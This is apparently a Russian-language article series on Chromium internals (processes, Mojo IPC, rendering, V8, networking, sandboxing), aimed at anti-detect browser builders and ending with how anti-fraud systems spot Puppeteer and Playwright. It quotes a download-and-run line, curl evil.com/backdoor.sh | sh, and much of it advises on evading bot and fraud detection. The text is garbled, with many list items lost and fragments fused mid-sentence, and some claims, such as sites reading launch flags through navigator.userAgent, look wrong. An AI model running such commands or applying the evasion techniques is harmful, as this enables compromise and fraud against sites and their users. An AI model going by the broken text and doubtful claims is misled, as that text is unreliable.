By }Marka{
Когда обычный пользователь говорит «браузер», он видит строку поиска, вкладки и кнопку «Обновить». Когда разработчик говорит «браузер», он видит WebView или CEF. Но когда инженер по автоматизации, хардкорный дебаггер или создатель антидетект-системы говорит «Chromium», его взгляд уходит в сторону диспетчера задач, где висят 50–60 процессов, а пульс учащается при слове «sandbox».
Прежде чем залезть в глотку этому зверю, разберемся с именами. Многие путают Chromium, Chrome, Blink и V8, думая, что это синонимы. Это смертельная ошибка для инженера.
<div> и обрабатывать CSS-анимации.document.getElementById в машинный код прямо на лету.Перейдем к цифрам. Chromium — это не «еще один опенсорсный проект». Это монстр.
git clone репозитория размером под 30-50 ГБ (и это без истории коммитов с 2008 года).Кто-то спросит: «Зачем вообще это собирать, если можно взять готовую сборку?». А затем, что только через сборку из исходников ты получаешь доступ к настоящей кастомизации. Хочешь выпилить --no-sandbox как порождение дьявола? Хочешь подменить TLS-отпечаток на уровне сокетов? Хочешь убрать флаг navigator.webdriver навсегда, не маскируя его в рантайме? Тогда добро пожаловать в ад depot_tools, gn gen и ninja.
Почему Chromium спроектирован так монструозно? В 2008 году, когда он только появился, все браузеры были однопроцессными. Баг в Flash (тогда он был жив) валил весь браузер. Одна кривая страница — и все 15 вкладок прощаются с жизнью.
Инженеры Google сказали: «Хватит». И родилась архитектура, которая легла в основу современного веба:
Итог: Chromium — это микроядро, окруженное полчищем изолированных процессов-слуг. Browser Process — это король (имеет доступ ко всему). Renderer Process — рабы в песочнице (не имеют ничего). А общаются они через спецсвязь под названием Mojo IPC.
Открой диспетчер задач Windows прямо сейчас. Найди chrome.exe (или chromium.exe, если ты истинный ценитель). Сколько их? Десять? Пятнадцать? А если открыто двадцать вкладок — будет под сорок-пятьдесят. Нормальный человек видит в этом бардак и жор памяти. Инженер видит гениальную архитектуру отказоустойчивости.
Запомни главную мантру Chromium: Ни один процесс не доверяет другому процессу. Даже если этот другой процесс — его собственная вкладка.
Это не паранойя. Это единственный способ заставить браузер работать 24/7 без перезагрузок, когда внутри исполняется потенциально опасный код из интернета.
В старых браузерах (Internet Explorer 6, Firefox до версии 3) всё сидело в одном потоке. Одна вкладка с бесконечным циклом while(true) — и весь браузер превращается в ледышку. Один баг в Flash-баннере — и ты потерял все открытые формы, все недоотправленные письма, все наработки. Разработчики плакали. Пользователи матерились.
Google в 2008 году сказали: «А давайте сделаем как в операционной системе». Каждая вкладка — отдельный процесс. Упал один — остальные работают. Идея гениальная в своей простоте. Но реализация… реализация превратилась в монстра.
Представь себе короля. Он сидит в тронном зале (главное окно браузера). У него единственного есть доступ к королевской казне (файловая система), единственный он может принимать послов (сетевые запросы через OS) и единственный он управляет армией (железом, камерой, микрофоном).
Browser Process — это и есть этот король. В твоей системе висит ровно один Browser Process на все окна браузера (если ты не открыл отдельный профиль с флагом --user-data-dir). Он делает следующее:
И самое главное: Browser Process — единственный процесс во всей архитектуре, который имеет прямой, неограниченный доступ к операционной системе. Он может читать твои файлы, лазить в реестр Windows, открывать сокеты. Именно поэтому антивирусы так трясутся над chrome.exe — это действительно проводник между внешним миром и твоим компьютером.
А теперь представь себе раба. Его посадили в бетонную коробку (песочница, Sandbox). У него нет ножа, нет телефона, нет окон, нет дверей. Он умеет только одно: получать приказы из маленького окошка в стене и выполнять их.
Renderer Process — это и есть такой раб. Он живет на каждый сайт (или на каждую вкладку, если отключена Site Isolation). Именно внутри него происходит всё волшебство: HTML парсится в DOM-дерево, JavaScript исполняется в V8, CSS раскладывается в Layout, и даже пиксели растрируются. Но при этом:
https://example.com/cat.jpg». Browser Process качает файл и возвращает рендереру кусочек данных.passwords.txt. Только через Browser Process.Если он упадет (разработчик накосячил с pointer’ом в C++, или сайт сделал Array(1e9).map(x => x) и сожрал всю память) — Browser Process просто пожмет плечами, закроет вкладку, покажет надпись «Aw, Snap!» и запустит новый Renderer Process. Остальные вкладки даже не заметят.
Это и есть та самая стабильность. Один процесс-раб умер — король нанял нового.
В ранних версиях Chromium была простая логика: одна вкладка = один рендерер. Потом пришли атаки типа Spectre и Meltdown (когда один процесс мог читать память другого процесса через спекулятивное выполнение команд). Инженеры Google сказали: «Хватит, теперь даже разные домены внутри одной вкладки должны жить в разных процессах».
Site Isolation — это когда google.com и evil.com даже внутри одной вкладки (через iframe) сидят в РАЗНЫХ Renderer Process’ах. Это дало колоссальный прирост безопасности, но убило логику «один процесс на вкладку». Теперь:
Вот и набежало 50 процессов. И да, это жрет память. Но безопасность и стабильность дороже.
Помнишь времена, когда у тебя в браузере запускалось WebGL-приложение, драйвер видеокарты падал, и вся система уходила в синий экран? В однопроцессной архитектуре это был приговор.
Теперь вся работа с графикой (в том числе отрисовка UI самого браузера, CSS-анимации, WebGL, Canvas) вынесена в отдельный GPU Process. Если видеодрайвер решит упасть — упадет только GPU Process. Browser Process заметит это, перезапустит его, попросит рендереры перерисовать всё заново, и пользователь увидит лишь микро-рывок, а не критический краш.
У GPU Process одна задача: принимать команды «нарисуй треугольник», «залей пиксель» и отправлять их драйверу видеокарты. Работает быстро, падает изолированно.
Это нововведение (появилось в полную силу в 2019-2020 году). Раньше сетевыми запросами занимался сам Browser Process. Потом инженеры решили: «А давайте вынесем сеть в отдельный процесс, чтобы даже если хакер взломал Browser Process, он не получил бы доступ ко всем сокетам и TLS-ключам».
Network Process живет отдельно. Он управляет:
gethostbyname слишком медленный и не умеет в DoH — DNS over HTTPS).Все остальные процессы (рендереры, браузер) говорят Network Process: «Отправь запрос на такой-то URL». Network Process отправляет, получает ответ и возвращает данные. Он никогда не доверяет данным из рендерера до конца, проверяет заголовки, фильтрует опасные схемы вроде file://.
Остальные процессы решают узкие задачи.
.crx расширение), сконвертировать PDF в HTML, подгрузить кодек для видео — запускается Utility Process. Он делает грязную работу и умирает.Запомни главное: Chromium — это не набор процессов, а иерархия с чёткими границами ответственности и намеренно урезанными привилегиями.
Благодаря этой архитектуре можно открыть chrome://crash в одной вкладке (что принудительно убивает её рендерер), а остальные 149 вкладок продолжат работать как ни в чём не бывало. YouTube не прервётся, форма регистрации не сбросится, текст в textarea не пропадёт. Ты это воспринимаешь как должное, но за этим стоит десятилетие эволюции сложнейшей распределённой системы.
И вот здесь мы подходим к самому интересному. Если процессы изолированы, у них нет общей памяти, они не могут вызвать функцию друг друга — как Renderer Process говорит Browser Process «скачай этот URL» или «запиши cookie»?
Ответ: через межпроцессное взаимодействие (IPC). И в Chromium для этого есть свой собственный, выстраданный фреймворк — Mojo.
Старый IPC, который использовался до Mojo, работал на сырых сообщениях: ты сериализовал вручную структуру данных в бинарный буфер, отправлял через канал (на Windows — через именованные пайпы, на Linux — через сокет), на другой стороне парсил и диспатчил. Это было быстро, но:
Mojo — это современная замена. Это не просто библиотека, а целый генератор кода. Ты описываешь интерфейс на специальном языке .mojom:
interface NetworkService { FetchURL(string url, FetchCallback callback); };
А Mojo генерирует:
C++ класс-клиент для отправителя (рендерера).
C++ класс-сервер для получателя (Network Process).
Весь код сериализации, маршалинга, диспатчинга.
Из рендерера ты пишешь просто:
network_service->FetchURL(“https://example.com”, callback); Выглядит как обычный вызов функции. Но под капотом Mojo упаковывает вызов в сообщение, шлёт через IPC-канал, на той стороне распаковывает, вызывает настоящую функцию в Network Process, а результат так же элегантно возвращает обратно.
Почему это важно для тех, кто хочет «перешить» браузер? Потому что все важные точки взаимодействия торчат именно через Mojo. Хочешь подменить поведение сетевого стека? Переопредели реализацию NetworkService. Хочешь заблокировать передачу геолокации? Подмени обработчик в Browser Process. Хочешь понять, какие фингерпринты утекают на сервер — следи за сообщениями Mojo между рендерером и браузером.
Именно здесь, на уровне IPC и Mojo-интерфейсов, рождается большая часть детектов автоматизации. Потому что автоматизированный браузер (Puppeteer, Playwright) использует те же Mojo-каналы, но отправляет флаги вроде –enable-automation, которые меняют поведение. И если ты работаешь через DevTools Protocol — ты уже засветился на уровне IPC.
Список действий займёт полстраницы. Мы пройдём по ключевым этапам: как HTML становится деревом, как CSS раскладывает элементы по координатам, как JavaScript компилируется в машинный код и как всё это превращается в картинку через GPU.
От байтов до DOM: Рождение структуры Первое, что получает Browser Process после того, как Network Process скачал ответ сервера, — это поток байтов. Чаще всего — HTML, но может быть JSON, PDF или картинка. Допустим, это HTML.
Дальше работает Blink (движок рендеринга, форк WebKit). Его задача — превратить это в живое, изменяемое дерево.
Этап 1: Байты → символы
Сетевой стек отдаёт буфер. Blink смотрит на заголовок Content-Type: text/html; charset=utf-8 (или ищет внутри) и декодирует байты в символы Юникода. На этом этапе решается проблема с BOM-последовательностями и кривыми кодировками.
Этап 2: Лексер (токенизация)
Этот поток символов пропускается через HTML-лексер. Он ничего не знает про семантику — он просто умеет распознавать паттерны: открывающий тег, закрывающий тег, атрибут, текст, комментарий, DOCTYPE. Лексер идёт по символам слева направо и выдаёт поток токенов:
StartTag: div Attribute: class=”container” EndTag: div Character: ‘П’, ‘р’, ‘и’, ‘в’, ‘е’, ‘т’ Этап 3: Парсер → DOM-дерево
А вот здесь начинается магия. HTML-парсер в Blink — это не просто рекурсивный спуск, потому что HTML прощает ошибки (нет закрывающего тега? ничего страшного). Парсер получает токены и строит DOM-дерево (Document Object Model). Это живая структура в памяти: каждый узел — C++ объект с указателями на parent, firstChild, nextSibling, плюс куча служебных полей.
Ключевой момент: парсер не ждёт полной загрузки HTML. Как только он получил достаточно байтов, чтобы распарсить открывающий тег, он уже создаёт узел. Это называется speculative parsing. Браузер начинает рисовать страницу, даже когда тело документа ещё качается из сети.
И здесь же кроется первая проблема производительности. Когда парсер встречает тег
CSSOM: Красота требует жертв Пока парсер строит DOM, Network Process точно так же качает CSS-файлы (через ) и разбирает их. CSS — это другая грамматика, но принцип тот же: байты → символы → токены (селектор div.container, свойство width: 100px, значение). Парсер CSS строит CSSOM-дерево (CSS Object Model).
Здесь есть одна важная особенность: CSSOM блокирует рендеринг. Браузер не нарисует на экране ни одного пикселя, пока не построит CSSOM для текущей страницы. Потому что иначе был бы FOUC (Flash of Unstyled Content) — сначала показался бы текст без стилей, а через мгновение он бы дёрнулся, оформившись в красивые карточки.
Но есть нюанс. Браузер не ждёт CSS, который лежит в медиа-запросах media=”print” and (min-width: 1024px)”. Такие стили помечаются как «не критичные» и не блокируют рендер.
Итог: DOM + CSSOM = RenderTree. Это не просто копия DOM. В RenderTree попадают только видимые элементы: display: none вырезается, meta-теги игнорируются, псевдоэлементы ::before добавляются. Каждый узел RenderTree знает свои стили: шрифт, цвет, размер, положение относительно родителя.
Layout: Поиск координат и размеров Теперь у нас есть дерево визуальных объектов со стилями, но мы не знаем, где они находятся. Где именно на экране рисовать эту кнопку? Какой у неё width, если написано width: 50% — 50% от чего?
Layout (или Reflow) — это алгоритм, который вычисляет геометрию каждого элемента. Для Blink это гигантский конечный автомат, который начинает с корневого <html> и рекурсивно обходит RenderTree, вычисляя:
x, y — координаты относительно вьюпорта.
width, height — фактические размеры в пикселях (с учётом процентных соотношений, calc(), min-width, max-width).
margin, border, padding — блочная модель.
Самое тяжёлое в Layout — это flexbox и grid. Для блочной модели достаточно одного прохода сверху вниз, но флексы требуют вычисления размеров flex-контейнера после того, как вычислены размеры всех flex-элементов, а это уже два прохода. Это одна из причин, почему на сложных интерфейсах тормозит ресайз окна.
Важный практический вывод: каждое изменение свойства, влияющего на геометрию (например, width, height, margin, padding, font-size), запускает Layout заново. transform и opacity — не запускают. Именно поэтому в анимациях используют transform: translateX() вместо left/top.
JavaScript в браузере не интерпретируется построчно, как в начале 2000-х. Это было бы слишком медленно для современных приложений. Вместо этого V8 (движок JS от Google) компилирует код на лету (JIT — Just-In-Time compilation).
Базовый сценарий для «холодного» кода:
Сначала код попадает в Ignition — байткод-интерпретатор. V8 быстро парсит JS в абстрактное синтаксическое дерево (AST), а потом генерирует компактный байткод. Ignition выполняет его, собирая при этом профилирующую информацию: какие функции вызываются часто, какие типы данных передаются в аргументы, какие ветки условий редко выполняются.
Когда код становится горячим (TurboFan):
Если Ignition замечает, что какая-то функция выполнилась несколько тысяч раз, он передаёт её в TurboFan — оптимизирующий JIT-компилятор. TurboFan берёт байткод и профилирующую информацию и генерирует высокооптимизированный машинный код под конкретную архитектуру процессора (x64, ARM, MIPS).
Что значит «оптимизированный»? TurboFan делает:
Но есть и обратная сторона. Если предположения TurboFan нарушатся (например, после 5000 вызовов с числами вдруг пришла строка), V8 делает deoptimization — откатывается обратно на байткод в Ignition, потеряв все оптимизации. Это называется «оптимизационный фантом» и иногда является причиной резких фризов в приложениях на React/Vue.
А вот как. V8 компилирует код в реальный машинный код, который исполняется прямо на процессоре. Разные модели процессоров имеют:
Сайты с антифрод-системой могут запустить специальный JS-код, который замеряет время выполнения определённых операций (например, умножение матриц или хеширование через bcrypt). Разница в микросекундах позволяет определить точную модель процессора. А если ты запускаешь браузер в виртуальной машине — тайминги будут совершенно другими. Это один из самых сложных для обхода слоёв детекта, потому что на уровне JavaScript ты с ним ничего не сделаешь — он лежит в недрах генерации машинного кода V8.
Итак, у нас есть Layout (геометрия) и стили. Дальше начинается работа с графикой.
Этап 1: Paint (рисование)
Blink обходит RenderTree и генерирует записи рисования (paint records). Это не пиксели, а команды вроде «нарисовать прямоугольник от (10,10) до (100,100) красным цветом» и «нарисовать текст «Привет» шрифтом Arial 16px». Всё это складывается в список.
Этап 2: Rasterization (растеризация)
Список команд отдаётся в GPU Process. Здесь он разбивается на тайлы (обычно 256x256 или 512x512 пикселей). Каждый тайл растеризуется — превращается в настоящую битмапу, заполняя цветом каждый пиксель. Если страница использует CSS-фильтры или WebGL, то растеризация идёт через шейдеры прямо на видеокарте.
Этап 3: Compositing (композитинг)
Страница может состоять из десятков слоёв (will-change: transform, <video>, <canvas>, position: fixed). Каждый слой растеризуется отдельно. Задача композитинга — взять все эти слои, наложить их друг на друга с учётом прозрачности, z-index и трансформаций и отправить на экран.
Самое крутое в композитинге — это то, что трансформации слоёв выполняются на GPU без перерисовки содержимого. Именно поэтому анимация transform: translateX() работает плавно, а анимация left дёргается — left запускает Layout (дорого), а transform только композитинг (дёшево).
От ввода URL до пикселя на экране:
<script> без async).Всё это происходит за десятки-сотни миллисекунд. И перезапускается каждый раз, когда ты меняешь размер окна, скроллишь страницу или JS-скрипт добавляет новый <div> в DOM.
Именно здесь, в недрах Layout и растеризации, рождаются многие уязвимости для фингерпринтинга — от измерения времени отрисовки до определения наличия GPU через WebGL. Потому что даже если ты заблокировал все JavaScript-флаги, разница в скорости растеризации между реальным ноутбуком с RTX 3060 и виртуальной машиной с софтверным рендерингом — это десятки миллисекунд, которые можно измерить и использовать против тебя.
Открой любой сайт. Chromium отправил десяток HTTP-запросов, скачал HTML, CSS, JS, картинки. Казалось бы, какая разница — что там внутри? ОС умеет делать сокеты, curl умеет ходить по HTTP, зачем изобретать велосипед?
А затем, что системные библиотеки (WinHTTP на Windows, libcurl на Linux) — это как советский гаечный ключ: он работает, но затянуть им болт с моментом 1.2 Н·м и телеметрией по каждому повороту не получится.
Chromium тащит свой монструозный стек, потому что ему нужно:
В общем, добро пожаловать в Network Service — процесс, который живёт отдельно, имеет свои сокеты, свой DNS-кэш, свои пулы соединений и свою боль.
Представь, что ты используешь libcurl или WinHTTP. Что ты получишь?
gethostbyname) отправляет запросы в открытую на 53-й UDP-порт. Никакого шифрования.Поэтому инженеры Chromium написали свой стек. С нуля. На C++. С поддержкой всех современных протоколов. И назвали это network stack, а позже вынесли в отдельный Network Service.
Твой компьютер при запросе google.com обычно стучится на DNS-сервер провайдера по UDP-порту 53 в открытую. Провайдер (и твой сисадмин, и Агентство национальной безопасности, если ты параноик) видит, куда ты ходишь.
Chromium делает иначе:
https://dns.google/dns-query. Внешне это просто трафик к Google, неотличимый от обычного серфинга.Почему это важно для автоматизации? Потому что DNS-запросы видны на уровне ОС. Если ты запускаешь браузер в Docker или виртуальной машине с дефолтным резолвером 8.8.8.8, а нормальные пользователи в этом регионе пользуются DNS провайдера — это заметно. Некоторые антифрод-системы проверяют, используешь ли ты DoH и какой именно сервер. Отклонение от «нормального» поведения — флаг.
Каждый раз, когда сайт загружает картинку, CSS и JS, создавать новый TCP-сокет и устанавливать соединение — это три рукопожатия (SYN, SYN-ACK, ACK). Для HTTP/1.1 можно переиспользовать соединение через Keep-Alive, но на один домен — не больше 6 параллельных соединений (ограничение самого протокола, иначе ты забьёшь сокеты).
Chromium идёт дальше:
Практический вывод для автоматизаторов: если ты поднимаешь браузер с --disable-quic, ты уже отличаешься от нормального Chromium. Антифрод-системы типа Cloudflare проверяют поддержку QUIC на уровне TLS-отпечатков (JA3, JA4). Если её нет — это подозрительно.
И вот здесь самое интересное. Каждый запрос из рендерера проходит через иерархию прокси и фильтров:
Типичный путь запроса: Renderer Process → Browser Process → Network Process → [системные прокси] → [расширения с webRequest] → сокет → интернет
Но это если всё стандартно. Chromium позволяет настраивать прокси на нескольких уровнях:
HTTP_PROXY, реестр Windows, настройки GNOME).--proxy-server="socks5://127.0.0.1:9050")."PROXY proxy.example.com:8080" или "DIRECT").И всё это — внутри Network Service. Ты можешь подменить прокси для google.com, но не для facebook.com. Можешь добавить заголовок X-Forwarded-For для всех запросов через расширение. Можешь даже написать свой кастомный прокси-сервер на Mojo (но это уже экзотика).
Антифрод-системы смотрят не только на User-Agent и navigator.webdriver. Они анализируют:
--disable-quic или подменил TLS-стек через прокси, отпечаток изменится.--disable-features=Quic?Sec-CH-UA (Client Hints) или они отсутствуют? Добавил ли ты кастомный заголовок через webRequest, который виден всем? Не совпадает ли порядок заголовков с эталонным?Cloudflare (и Kasada, и другие WAF) при заходе на сайт запускает JavaScript, который:
fetch на специальный эндпоинт, который отвечает только по HTTP/2 и HTTP/3.performance.now() в JS и моментом получения ответа.Если браузер идёт через прокси, эти два RTT будут сильно различаться (прокси добавляет задержку). Если QUIC отключен — тоже видно, потому что запрос пойдёт по TCP и будет другой паттерн таймингов.
Или ещё жёстче: Cloudflare проверяет, совпадает ли IP, на который пришёл TLS-ClientHello, с IP, с которого пришли DNS-запросы. Если DNS-запросы шли с одного IP (например, из AWS), а TLS-хендшейк — с другого (твой прокси-сервер), это явный признак подмены.
Если ты собираешься переписывать Chromium для обхода антифрода, сетевая часть — один из ключевых фронтов. Тебе нужно:
--proxy-server, --disable-quic, --host-resolver-rules в командной строке (они видны через chrome://version и из JS через navigator.plugins, если склеить).Именно поэтому стандартные решения (Puppeteer, Playwright, Selenium) палятся — они используют флаги, которые меняют поведение Network Service.
Открой любой сайт. На нём — JavaScript, который может попытаться прочитать твой /etc/passwd или C:\Users\Admin\Documents\passwords.txt. Или установить rootkit. Или замайнить криптовалюту на твоей видеокарте.
Почему это не работает? Потому что Chromium не доверяет сайтам. Вообще. Ни капли. Каждый Renderer Process запускается в песочнице — изолированной среде, где у процесса нет прав практически ни на что.
Sandbox — это не метафора. Это конкретный код на C++, который говорит операционной системе: «Забери у этого процесса всё. Оставь только возможность дышать и переговариваться с родителем через узкую трубу IPC».
Представь: ты нашел баг в V8 — use-after-free в JIT-компиляторе. Ты можешь выполнить произвольный код внутри Renderer Process. Что дальше?
system("curl evil.com/backdoor.sh | sh") или CreateFile("C:\Users\Admin\Desktop\virus.exe"). Всё, система скомпрометирована. Браузер — просто дверь.system() — а ядро ОС отвечает: «Доступ запрещён». Ты пытаешься открыть сокет — запрещено. Ты хочешь прочитать файл — нет прав. Единственное, что ты можешь — отправить сообщение Browser Process через Mojo. А Browser Process умный: он проверит, от какого рендерера пришёл запрос, какой у него origin, есть ли разрешение пользователя. И, скорее всего, пошлёт тебя далеко и надолго.Песочница не делает твой код безопасным. Она делает так, что даже если его взломали — ущерб минимален. Это называется принцип наименьших привилегий (least privilege).
Chromium — кроссплатформенный. Но песочница на Windows и Linux устроена по-разному, потому что у ОС разные механизмы изоляции.
Windows — сложная система с тридцатилетней историей обратной совместимости. Но Chromium выжимает из неё максимум.
Когда Browser Process создаёт новый Renderer Process, он делает следующие шаги:
PROCESS_TERMINATE (родитель может убить ребёнка) и PROCESS_QUERY_INFORMATION (родитель может спросить статус).new Array(1e9) не положил всю систему).cmd.exe).SendMessage.Итог на Windows: Renderer Process — это карлик, который не может прочитать твои файлы, не может создать процесс, не может вылезти за пределы своей клетки. Единственная связь с внешним миром — именованный пайп (named pipe) для Mojo IPC с Browser Process.
Линуксоиды любят говорить, что у них безопасность «из коробки». Но на деле Chromium использует те же механизмы, что и Docker.
namespaces:
CLONE_NEWPID — рендерер видит только свои процессы, не видит процессы системы.CLONE_NEWNET — изолированная сеть. Рендерер не видит реальные сетевые интерфейсы, у него есть только loopback и виртуальный сокет для IPC с родителем. Без этого он не может открыть реальный TCP-сокет — только через Browser Process.CLONE_NEWNS — изолированная файловая система. Рендерер видит только bind-mounted /tmp (временные файлы) и больше ничего.CLONE_NEWUSER — изоляция пользователя. Даже если рендерер получит root в своём namespaces, в реальной системе он всё равно nobody.seccomp-bpf (Secure Computing mode with Berkeley Packet Filters). Это фильтр системных вызовов на уровне ядра. Chromium загружает в ядро BPF-программу, которая говорит: «Разрешаю только read, write, openat (на ограниченный набор путей), futex, exit_group. Всё остальное — kill -SIGSYS». Если взломанный рендерер попытается вызвать socket() (открыть сеть) или execve() (запустить процесс), ядро просто убьёт процесс.
/lib и /bin.На macOS всё похоже на Linux, но с проприетарным привкусом. Chromium использует sandbox_init() с профилями Seatbelt (это как seccomp, но на XML-стероидах). Рендерер не имеет доступа к камере, микрофону, файлам за пределами ~/Library/Caches/Chromium. И да, заветный kAuth (запрос прав) — только через Browser Process.
И вот мы подходим к главному. Ты пишешь антидетект-браузер. Ты хочешь, чтобы твой рендерер мог:
Но песочница запрещает всё это. Буквально. Renderer Process в песочнице — это овощ, который не может даже пикнуть без разрешения Browser Process.
Что делают разработчики автоматизации? Есть два пути.
Путь первый (правильный, но сложный):
Написать свой Browser Process, который кастомно обрабатывает Mojo-запросы из рендерера и даёт им расширенные права. Хочешь, чтобы рендерер открыл сокет — расширяешь NetworkService, добавляешь новый метод OpenRawSocket. Хочешь прямой доступ к файлу — добавляешь RequestFileAccess. Это требует глубокого понимания Mojo, IPC и исходников Chromium. Но песочница остаётся включённой — ты просто расширяешь белый список разрешённых действий.
Путь второй (простой, но опасный и тупой):
Запустить браузер с флагом --no-sandbox. В этом случае Renderer Process получает полные права: может открывать сокеты, читать файлы, вызывать системные команды. Удобно для отладки. Но в продакшене антидетекта это смертный грех и признак плохого тона.
--no-sandbox — это зло (даже в антидетекте)Технически --no-sandbox отключает все механизмы, которые мы описали выше. На Windows рендерер получает полный токен. На Linux — живёт без seccomp. На macOS — без Seatbelt.
Почему это плохо для антидетект-браузера?
Безопасность. Твой браузер заходит на сайт. На сайте — злой JavaScript. Если у рендерера есть баг в V8, злоумышленник получает полный доступ к твоей системе. Все профили клиентов, все куки, все прокси — в руках атакующего. Ты как провайдер антидетекта становишься вектором заражения. Клиенты тебя возненавидят.
file:///etc/passwd). В песочнице такая попытка завершится мгновенной ошибкой, без песочницы — будет реальная попытка доступа, которая либо упадёт, либо (о ужас) прочитает файл, что сразу выдаст автоматизацию.Нестабильность. Некоторые сайты ожидают, что браузер живёт в песочнице. Без неё их поведение меняется — они могут отказаться работать или показать капчу.
chrome://version. Любой сайт через navigator.userAgent и chrome://version (если есть доступ к этой странице) может увидеть --no-sandbox в командной строке браузера.Вывод: --no-sandbox допустим только при локальной отладке и разработке. В продакшене антидетект-браузера, который претендует на звание «невидимый», песочница должна быть включена, а доступ к ресурсам должен быть расширен аккуратно, через кастомные Mojo-интерфейсы, а не топорным отключением защиты.
Правильный способ (именно так делают взрослые антидетект-системы):
--no-sandbox. Песочница включена.//content/browser/renderer_host/render_sandbox_host_linux.cc (или Windows-аналог) и добавляешь новые разрешённые операции для рендерера.//services/network/public/mojom/. Например, AllowRawSocketForAutomation.//services/network/network_service.cc. Так, чтобы на запрос рендерера открыть сырой сокет Browser Process говорил: «Ок, только для доменов из белого списка и с проверкой IP».Это сложно. Это долго. Но именно так рождаются антидетект-браузеры, которые не палятся (или палятся сильно позже). Всё остальное — поделки на коленке, которые умрут при первом заходе на Cloudflare.
Sandbox в Chromium — это не прихоть, а системообразующий элемент безопасности. Он делает жизнь взломщика сайтов невыносимой, но и жизнь автоматизатора — тоже.
--no-sandbox — это костыль для отладки, а не решение для продакшена. Настоящий инженер не отключает песочницу, а расширяет её через кастомные Mojo-интерфейсы и грамотную политику доступа. Потому что если твой антидетект можно взломать через ту же уязвимость, что и обычный браузер, то ты просто написал браузер с дырой.
Ты написал парсер на Puppeteer. Всё работает локально. Ты настраиваешь прокси, подменяешь User-Agent, даже navigator.webdriver = false через хуки. Запускаешь на продакшене — и через пять минут Cloudflare показывает «I’m Under Attack Mode», а аккаунт на целевом сервисе заблокирован.
Что пошло не так? Всё.
Стандартные инструменты автоматизации — Puppeteer, Playwright, Selenium — великолепны для тестирования и простых парсеров. Но они создавались для контроля качества, а не для войны с антифрод-системами. Они светятся на каждом шагу. И современные WAF (Web Application Firewall) вроде Cloudflare, Akamai, Kasada, ProtectedMedia детектят их за долю секунды.
Почему? Потому что антифрод-системы больше не смотрят только на User-Agent и количество запросов в секунду. Они анализируют десятки, сотни сигналов — от переменных в window до отпечатков TLS и таймингов JIT-компиляции. И чтобы победить, нужно лезть внутрь Chromium и переписывать его поведение на уровне C++.
Давай пройдёмся по основным сигнатурам, которые выдают автоматизацию.
Запусти любой браузер через Puppeteer. Открой chrome://version. Что ты увидишь?
Command Line: /path/to/chrome –disable-background-networking –disable-client-side-phishing-detection –disable-default-apps –disable-hang-monitor –disable-popup-blocking –disable-prompt-on-repost –disable-sync –enable-automation –force-color-profile=srgb –no-first-run –password-store=basic –use-mock-keychain
--enable-automation — это красная тряпка для антифрода. Этот флаг добавляется автоматически при использовании DevTools Protocol (которым пользуются и Puppeteer, и Playwright). Он делает видимыми:
navigator.webdriver === truewindow.chrome.webstore === undefined (в нормальном браузере есть)navigator.plugins.length === 0 (в нормальном браузере хотя бы 5-6 плагинов типа Chrome PDF Viewer)Даже если ты через хуки подменил navigator.webdriver, --enable-automation виден в командной строке, а из JS это можно проверить через chrome.runtime (если есть доступ) или через анализ performance.getEntries() и специфические баги в Error.stack.
Puppeteer и Playwright общаются с браузером через DevTools Protocol (CDP). Это набор JSON-RPC-команд на WebSocket, который позволяет управлять вкладками, эмулировать клики, вводить текст.
Антифрод-система может:
chrome.debugger API, если сайт его использует).Движки автоматизации вносят изменения в navigator и window:
navigator.webdriver === true (это уже классика)navigator.plugins.length === 0 (в нормальном Chrome есть PDF-вьювер, Native Client и другие)navigator.languages — у автоматизации часто всего один язык (['en-US']), у нормального пользователя — 2-3.window.chrome — в автоматизации этого объекта может не быть, или он урезан.navigator.deviceMemory — в некоторых конфигурациях Puppeteer не выставляет его (должно быть 4, 8, 16 — реальный объём RAM).navigator.hardwareConcurrency — часто равно количеству ядер процессора, но в виртуалках или Docker может быть 1 или 2, что подозрительно.screen.availWidth, screen.availHeight, window.outerWidth/innerWidth — несоответствия (например, вкладка открыта в headless-режиме, и эти величины не совпадают).Человек не идеален. Он кликает не точно в пиксель, а с небольшим офсетом. Он двигает мышь по кривой, а не по прямой. Он скроллит с переменной скоростью.
Автоматизация же:
Антифрод-системы собирают метрики мыши, клавиатуры, тач-событий (на мобилках) и прогоняют через ML-модель. Если паттерн слишком «чистый» — это бот.
Это мы уже разбирали в пятой части, но повторю ключевые моменты:
:authority, :method, :path, :scheme, accept, accept-encoding, accept-language, user-agent…). Puppeteer может отправить в другом порядке, особенно если подменяешь заголовки через page.setExtraHTTPHeaders.Это уже из области фингерпринтинга. Антифрод-система рисует невидимый canvas с текстом и считывает пиксели. Разные браузеры, ОС, драйверы, видеокарты — дают разные оттенки из-за антиалиасинга, субпиксельного рендеринга, настроек сглаживания.
В headless-режиме (или в Docker без GPU) отпечаток canvas будет отличаться от реального браузера. Например, в headless-режиме нет аппаратного ускорения, и некоторые шейдеры падают на софтрендер с другими числовыми значениями.
Через WebGL можно получить строку GL_VENDOR и GL_RENDERER. В реальном Chrome на Windows это будет Google Inc. (NVIDIA Corporation) и NVIDIA GeForce RTX 3060/PCIe/SSE2. В Docker без GPU — VMware, Inc. или Mesa Project (софтверный рендер). Это мгновенный детект виртуалки.
Разработчики антифрода ищут несуществующие свойства в объектах, которые есть только в автоматизации, или наоборот — отсутствие свойств, которые есть везде.
Примеры:
Function.prototype.toString на нативных функциях в Puppeteer может вести себя иначе (возвращать function () { [native code] } без пробелов, или с лишними символами).Error.stack в автоматизации иногда не включает строки из изолированных фреймов.PerformanceResourceTiming в headless-режиме может отдавать nextHopProtocol как http/1.1, даже если сайт поддерживает h2.navigator.connection.effectiveType — в автоматизации часто 4g, тогда как у реального пользователя может быть slow-2g или 3g (определяется по времени загрузки ресурсов).«Но я же могу просто переопределить navigator.webdriver = false в начале скрипта!» — скажешь ты.
Нет. Вот почему:
Порядок исполнения. Код на сайте может выполниться раньше, чем твой хук. <script> на странице стартует сразу после парсинга. Чтобы перехватить его до того, нужно использовать --eval или page.evaluateOnNewDocument, но это работает не всегда — некоторые антифрод-системы уже анализируют DOM на этапе парсинга HTML, до выполнения твоих хуков.
Не все свойства можно переопределить. navigator.webdriver — не writable, не configurable. Его нельзя просто так перезаписать. Да, можно через Object.defineProperty или через Proxy, но продвинутые проверки смотрят на внутренние слоты объектов, а не только на значения свойств.
Глубокие проверки. Антифрод может проверить, откуда берётся свойство. Например, проверить цепочку прототипов navigator.__proto__.__proto__, или сравнить нативную функцию с подменённой через toString. Или проверить, что произойдёт при удалении свойства (delete navigator.webdriver) — в нормальном браузере оно не удаляется, в поделке может удалиться.
